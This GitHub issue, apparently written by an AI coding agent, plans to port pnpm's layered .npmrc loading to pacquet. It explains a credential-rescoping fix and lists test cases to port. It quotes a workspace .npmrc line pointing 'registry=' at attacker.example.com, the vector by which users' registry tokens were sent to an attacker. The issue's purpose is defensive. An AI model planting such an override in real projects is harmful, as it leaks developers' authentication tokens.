Skip to content

pacquet: port pnpm's layered .npmrc resolution and apply the same load-time credential rescope #11950

Description

@zkochan

Background

The TypeScript pnpm CLI merges npm rc settings across several files in a fixed priority order:

builtin < defaults < ~/.npmrc < ~/.config/pnpm/auth.ini < <workspace>/.npmrc < CLI args

See config/reader/src/loadNpmrcFiles.ts for the merge loop.

Pacquet's current .npmrc loader reads exactly one file — workspace .npmrc if it exists, otherwise ~/.npmrc — at pacquet/crates/config/src/lib.rs:

let auth_source = read_npmrc(start_dir)
    .map(|text| (text, start_dir.to_path_buf()))
    .or_else(|| Sys::home_dir().and_then(|dir| read_npmrc(&dir).map(|text| (text, dir))));

Whichever file is read wins outright; the other is ignored. There is no equivalent of auth.ini and no merge between workspace and user .npmrc.

This diverges from pnpm in several user-visible ways:

  • A project .npmrc that sets e.g. strict-ssl=false (or just a scoped registry) silently drops the user's ~/.npmrc credentials, TLS settings, proxy config, etc.
  • ~/.config/pnpm/auth.ini is not honored at all.
  • CLI args, pnpm-workspace.yaml-driven settings, and npm_config_* env vars don't slot into the same priority order as in pnpm.

Task

Port the layered loader from config/reader/src/loadNpmrcFiles.ts to pacquet.

Security: rescope unscoped per-registry keys at load time, before the merge

A reporter (JUNYI LIU) found that pnpm bound an unscoped _authToken from ~/.npmrc to whatever registry= value won the merge. A workspace-local .npmrc that committed nothing more than registry=https://attacker.example.com/ was enough to cause pnpm install to send

Authorization: Bearer <user-secret-from-home-npmrc>

to the attacker registry. Fixed for the TS CLI in a23956e3ab (PR #11953).

Pacquet is not currently vulnerable because it does not merge — workspace .npmrc simply replaces user-level config, so the rebind cannot happen. But the moment layered loading lands without the same rescope, pacquet inherits the same bug. Treat the rescope as part of the same change set, not a follow-up.

What the TS fix actually does

The approach is per-source rescope at load time, not a post-merge source-tracking defense. Each .npmrc / auth.ini / cliOptions is normalized as it's read, before any merging happens. After normalization the merged config contains only URL-scoped credentials, so the merge layer doesn't need to know anything about provenance.

For each loaded source, before contributing to the merge:

  1. If any unscoped per-registry key is present (_authToken, _auth, username, _password, tokenHelper, cert, key), compute the nerf-darted form of the source's own registry= value — or the npmjs default (//registry.npmjs.org/) if the source declares none.
  2. Rewrite each unscoped key to <nerfed-registry>:<key>=<same-value>. If the source already has an explicit URL-scoped key for the same registry, keep the explicit one and drop the unscoped duplicate.
  3. Emit a deprecation warning naming the source file and the URL the credentials were pinned to.
  4. If the source's registry= value isn't a parseable URL (typical cause: an unresolved ${VAR} placeholder left it empty), drop the unscoped keys entirely and warn — a bare credential has nowhere safe to bind.

Keys deliberately NOT rescoped:

  • ca / cafile — trust anchors, not credentials. Corporate MITM-proxy setups rely on them applying globally to every HTTPS request, and the default-registry override can't weaponize an unscoped CA (the attacker would need a cert signed by it).
  • certfile / keyfilecertfile isn't read unscoped by pnpm today (not in NPM_AUTH_SETTINGS), and the unscoped keyfile allowlist entry was removed in the same PR since nothing consumed it. Users wanting the path form can write //host/:certfile=... / //host/:keyfile=... URL-scoped directly.
  • strict-ssl — not URL-scopable in npm's format. Downgrade-attack vector but needs a different fix.

Follow-on cleanup in the same PR (worth porting to pacquet too once layered loading lands):

  • The empty-string configByUri[''] placeholder slot is gone. Nothing reads or writes it after the rescope, so createGetAuthHeaderByURI and getAuthHeadersFromCreds lost their defaultRegistry parameter (the only thing it did was re-key that empty slot onto the merged default registry). Pacquet's equivalent in network/auth-header should follow the same shape.

Test cases worth porting

From config/reader/test/index.ts:

  1. User .npmrc has registry=trusted + unscoped _authToken=T; workspace .npmrc overrides registry=attacker → T ends up at //trusted/:_authToken, never //attacker/:_authToken.
  2. Same with _auth, with username + _password.
  3. auth.ini has unscoped _authToken=T and no registry=; user .npmrc has registry=trusted → T pins to npmjs default at auth.ini load (split-file users either consolidate or write URL-scoped).
  4. User has only unscoped _authToken=T (no registry=); CLI --registry=Y → T pins to npmjs default; CLI choice doesn't pull the ambient token along.
  5. Workspace declares both registry and its own _authToken → token pins to workspace registry (committer's deliberate choice).
  6. URL-scoped //host/:_authToken=... passes through unchanged with no deprecation warning.
  7. Same matrix for client TLS cert / key (inline PEM).

Notes

  • The rescope lives in the per-source reader, not in any post-merge step. Each source is self-contained — read it, normalize it, contribute to the merge.
  • This issue does not block landing layered-config support on its own, but the rescope must land in the same PR — please don't ship "merge now, secure later."

Written by an agent (Claude Code, claude-opus-4-7).

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions